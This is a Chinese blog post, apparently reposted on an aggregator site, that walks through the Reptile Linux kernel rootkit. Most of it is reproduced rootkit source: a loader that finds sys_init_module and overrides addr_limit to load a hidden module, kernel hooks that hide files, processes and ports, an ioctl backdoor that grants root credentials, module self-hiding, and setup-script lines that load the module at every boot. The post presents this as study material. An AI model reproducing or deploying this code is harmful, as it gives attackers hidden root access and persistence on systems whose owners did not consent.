我是靠谱客的博主 潇洒发箍,这篇文章主要介绍linux lkm rootkit reptile项目介绍,现在分享给大家,希望可以做个参考。

目录

简介

Reptile的使用

Reptile原理分析

kmatryoshka

代码分析

驻留


简介

Reptile是github上一个很火的linux lkm rootkit,最近学习了一些linux rootkit的内容,在这里记录一下。

主要是分析reptile的实现

Reptile的使用

安装命令:

复制代码
1
sudo ./setup.sh install

然后执行下面的命令

复制代码
1
/reptile/reptile_cmd show

接着就可以看到/reptile目录下的一些东西了,这是项目安装在系统中的一些文件,在安装完成后,默认是隐藏的。具体的执行命令就不再这里赘述了

会出现下面这些程序

Reptile原理分析

Reptile使用了两个其他的项目

1、khook:一个内核钩子框架,具体分析可以看这里https://www.cnblogs.com/likaiming/p/10970543.html

2、kmatryoshka:一个动态的模块加载器

这里先分析一下kmatryoshka的实现

kmatryoshka

parasite_loader/main.c中的init_module函数是入口函数。encrypt目录下代表的都是加密相关部分。

整个loader是作为一个模块插入到内核中去的,这个模块的功能是加载用户空间的模块,使用的就是init_module函数的系统调用处理函数sys_init_module,它是一个导出函数,通过查找kallsyms得到该函数的地址,就可以使用。

首先看寻找sys_init_module的实现,使用的是kallsyms_on_each_symbol函数,传入一个寻找函数就可以从找到符号地址,实现使用的就是下面这两个函数,在data[0]放入要寻找的内容,data[1]放入结果。

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr) { int i = 0; while (!module && (((const char *)data[0]))[i] == name[i]) { if (!name[i++]) return !!(data[1] = addr); } return 0; } static inline unsigned long ksym_lookup_name(const char *name) { unsigned long data[2] = { (unsigned long)name, 0 }; kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); return data[1]; }

然后在init_module函数中这样调用

复制代码
1
sys_init_module = (void *)ksym_lookup_name("sys_init_module");

再获取到符号地址后,在传入parasite_blob,也就是目的模块的地址时,还需要thread_info结构中的addr_limit,这个是表示用户地址空间地址的最大值,在init_module函数中,会对地址做校验,使用的就是addr_limit,这里就会修改一下这个值,保证地址检查通过。

复制代码
1
2
3
4
5
6
7
8
9
10
if (sys_init_module) { const char *nullarg = parasite_blob; unsigned long seg = user_addr_max(); while (*nullarg) nullarg++; user_addr_max() = roundup((unsigned long)parasite_blob + sizeof(parasite_blob), PAGE_SIZE); sys_init_module(parasite_blob, sizeof(parasite_blob), nullarg); user_addr_max() = seg; }

代码分析

回到Reptile,主目录下,parasite_loader就是上面讲到的项目,khook就是内核钩子的框架,sbin是用户态的一些程序,reptile_cmd等这些程序都使通过sbin下面的程序编译出来的,script下面的脚本是生成的一些脚本存放目录,下面的内容在安装完成后自动删除了。loader下面的程序也比较简单,主要的逻辑写在rep_mod中,下面主要说一下这个文件中各个函数的功能

 主函数,khook_init用来初始化khook,magic_packet_hook_options则是netlink钩子,START在setup脚本中被设置成reptile_start,

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static int __init reptile_init(void) { int ret; char *argv[] = {START, NULL, NULL}; //创建工作线程 work_queue = create_workqueue(WORKQUEUE); ret = khook_init(); if (ret != 0) goto out; magic_packet_hook_options.hook = (void *)magic_packet_hook; magic_packet_hook_options.hooknum = 0; magic_packet_hook_options.pf = PF_INET; magic_packet_hook_options.priority = NF_IP_PRI_FIRST; #if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 13, 0) nf_register_net_hook(&init_net, &magic_packet_hook_options); #else nf_register_hook(&magic_packet_hook_options); #endif exec(argv); hide(); out: return ret; }
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
//不允许普通进程找到特殊进程 KHOOK(find_task_by_vpid); struct task_struct *khook_find_task_by_vpid(pid_t vnr) //特权进程的TIF_SYSCALL_AUDIT位要被取消,这个标志位在thread_info结构 KHOOK(audit_alloc); static int khook_audit_alloc(struct task_struct *t) //清理cred结构的时候清除特权进程标志位 KHOOK(exit_creds); static void khook_exit_creds(struct task_struct *p) //特权进程的子进程也需要有特权 KHOOK(copy_creds); static int khook_copy_creds(struct task_struct *p, unsigned long clone_flags) //装载可执行文件的时候 KHOOK_EXT(int, load_elf_binary, struct linux_binprm *); static int khook_load_elf_binary(struct linux_binprm *bprm) /* 用户空间读物UDP端口使用/proc/net/udp,这个文件的seq_ops的show操作是udp4_seq_show 隐藏udp端口 */ KHOOK_EXT(int, udp4_seq_show, struct seq_file *, void *); static int khook_udp4_seq_show(struct seq_file *seq, void *v) /* 用户空间读物UDP端口使用/proc/net/tcp,这个文件的seq_ops的show操作是tcp4_seq_show 隐藏tcp端口 */ KHOOK_EXT(int, tcp4_seq_show, struct seq_file *, void *); static int khook_tcp4_seq_show(struct seq_file *seq, void *v)

netlink钩子

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
KHOOK_EXT(int, inet_ioctl, struct socket *, unsigned int, unsigned long); static int khook_inet_ioctl(struct socket *sock, unsigned int cmd, unsigned long arg) { int ret = 0; unsigned int pid; struct control args; struct sockaddr_in addr; struct hidden_conn *hc; if (cmd == AUTH && arg == HTUA) { if (control_flag) { control_flag = 0; } else { control_flag = 1; } goto out; } if (control_flag && cmd == AUTH) { if (copy_from_user(&args, (void *)arg, sizeof(args))) goto out; switch (args.cmd) { //0则更改隐藏或是显示 case 0: if (hide_module) { show(); hidden = 0; } else { hide(); hidden = 1; } break; case 1://根据pid设置进程的可见性 if (copy_from_user(&pid, args.argv, sizeof(unsigned int))) goto out; if (is_invisible(pid)) flag_tasks(pid, 0); else flag_tasks(pid, 1); break; case 2: if (file_tampering) file_tampering = 0; else file_tampering = 1; break; case 3://提权 #if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29) current->uid = 0; current->suid = 0; current->euid = 0; current->gid = 0; current->egid = 0; current->fsuid = 0; current->fsgid = 0; cap_set_full(current->cap_effective); cap_set_full(current->cap_inheritable); cap_set_full(current->cap_permitted); #else commit_creds(prepare_kernel_cred(0)); #endif break; case 4://增加隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_tcp_conn); break; case 5://删除隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_tcp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; case 6://增加隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; hc = kmalloc(sizeof(*hc), GFP_KERNEL); if (!hc) goto out; hc->addr = addr; list_add(&hc->list, &hidden_udp_conn); break; case 7://删除隐藏tcp端口 if (copy_from_user(&addr, args.argv, sizeof(struct sockaddr_in))) goto out; list_for_each_entry(hc, &hidden_udp_conn, list) { if (addr.sin_port == hc->addr.sin_port && addr.sin_addr.s_addr == hc->addr.sin_addr.s_addr) { list_del(&hc->list); kfree(hc); break; } } break; default: goto origin; } goto out; } origin: ret = KHOOK_ORIGIN(inet_ioctl, sock, cmd, arg); out: return ret; }
复制代码
1
2
3
4
5
6
7
8
9
10
11
/读操作钩子 KHOOK_EXT(ssize_t, vfs_read, struct file *, char __user *, size_t, loff_t *); static ssize_t khook_vfs_read(struct file *file, char __user *buf, size_t count, loff_t *pos) /* getdents流程中的一个操作 说到文件隐藏,我们不妨先看看文件遍历的实现, 也就是系统调用getdents / getdents64 ,简略地浏览它在内核态服务函数(sys_getdents)的源码 (位于fs/readdir.c ),我们可以看到如下调用层次, sys_getdents ->iterate_dir -> struct file_operations 里的 iterate ->这儿省略若干层次 -> struct dir_context 里的 actor ,也就是filldir filldir 负责把一项记录(比如说目录下的一个文件或者一个子目录)填到返回的缓冲区里 */

filldir这些函数

复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
KHOOK_EXT(int, fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, filldir64, void *, const char *, int, loff_t, u64, unsigned int); static int khook_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_fillonedir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_fillonedir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_fillonedir, __buf, name, namlen, offset, ino, d_type); return ret; } KHOOK_EXT(int, compat_filldir, void *, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir, __buf, name, namlen, offset, ino, d_type); return ret; } #if LINUX_VERSION_CODE < KERNEL_VERSION(4, 12, 0) KHOOK_EXT(int, compat_filldir64, void *buf, const char *, int, loff_t, u64, unsigned int); static int khook_compat_filldir64(void *__buf, const char *name, int namlen, loff_t offset, u64 ino, unsigned int d_type) { int ret = 0; if (!strstr(name, HIDE) || !hidden) ret = KHOOK_ORIGIN(compat_filldir64, __buf, name, namlen, offset, ino, d_type); return ret; } #endif #if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 9, 0) KHOOK_EXT(struct dentry *, __d_lookup, const struct dentry *, const struct qstr *); struct dentry *khook___d_lookup(const struct dentry *parent, const struct qstr *name) #else KHOOK_EXT(struct dentry *, __d_lookup, struct dentry *, struct qstr *); struct dentry *khook___d_lookup(struct dentry *parent, struct qstr *name) #endif { struct dentry *found = NULL; if (!strstr(name->name, HIDE) || !hidden) found = KHOOK_ORIGIN(__d_lookup, parent, name); return found; } KHOOK_EXT(struct tgid_iter, next_tgid, struct pid_namespace *, struct tgid_iter); static struct tgid_iter khook_next_tgid(struct pid_namespace *ns, struct tgid_iter iter) { if (hidden) { while ((iter = KHOOK_ORIGIN(next_tgid, ns, iter), iter.task) != NULL) { if (!(iter.task->flags & FLAG)) break; iter.tgid++; } } else { iter = KHOOK_ORIGIN(next_tgid, ns, iter); } return iter; }
复制代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//隐藏内容 int hide_content(void *arg, ssize_t size) /* 写在<$TAG></$TAG>中间的内容 */ //检查是否有需要隐藏的内容 int f_check(void *arg, ssize_t size) //看这个进程是否被隐藏了,0表示被隐藏 int is_invisible(pid_t pid) //set=0表示清楚特权,set=1表示设置特权,设置pid位 int flag_tasks(pid_t pid, int set) //重新显示这个模块 void show(void) //从全局module链表中删除本模块 void hide(void)

驻留

setup脚本中,有让模块在启动时被加载的设置

复制代码
1
2
3
4
5
6
7
8
if [ "$SYSTEM" == "debian" ] || [ "$SYSTEM" == "ubuntu" ]; then echo -ne "#<$TAG>n$MODULEn#</$TAG>" >> /etc/modules || { echo -e "e[01;31mERROR!e[00mn"; exit; } elif [ "$SYSTEM" == "redhat" ] || [ "$SYSTEM" == "centos" ] || [ "$SYSTEM" == "fedora" ]; then echo -ne "#<$TAG>nmodprobe $MODULEn#</$TAG>" >> /etc/rc.modules && chmod +x /etc/rc.modules || { echo -e "e[01;31mERROR!e[00mn"; exit; } #elif [ "$SYSTEM" == "arch" ]; then # echo -ne "#<$TAG>n$MODULEn#</$TAG>" >> /etc/modules || { echo -e "e[01;31mERROR!e[00mn"; exit; } fi

 

 

最后

以上就是潇洒发箍最近收集整理的关于linux lkm rootkit reptile项目介绍的全部内容,更多相关linux内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(56)

评论列表共有 0 条评论

立即
投稿
返回
顶部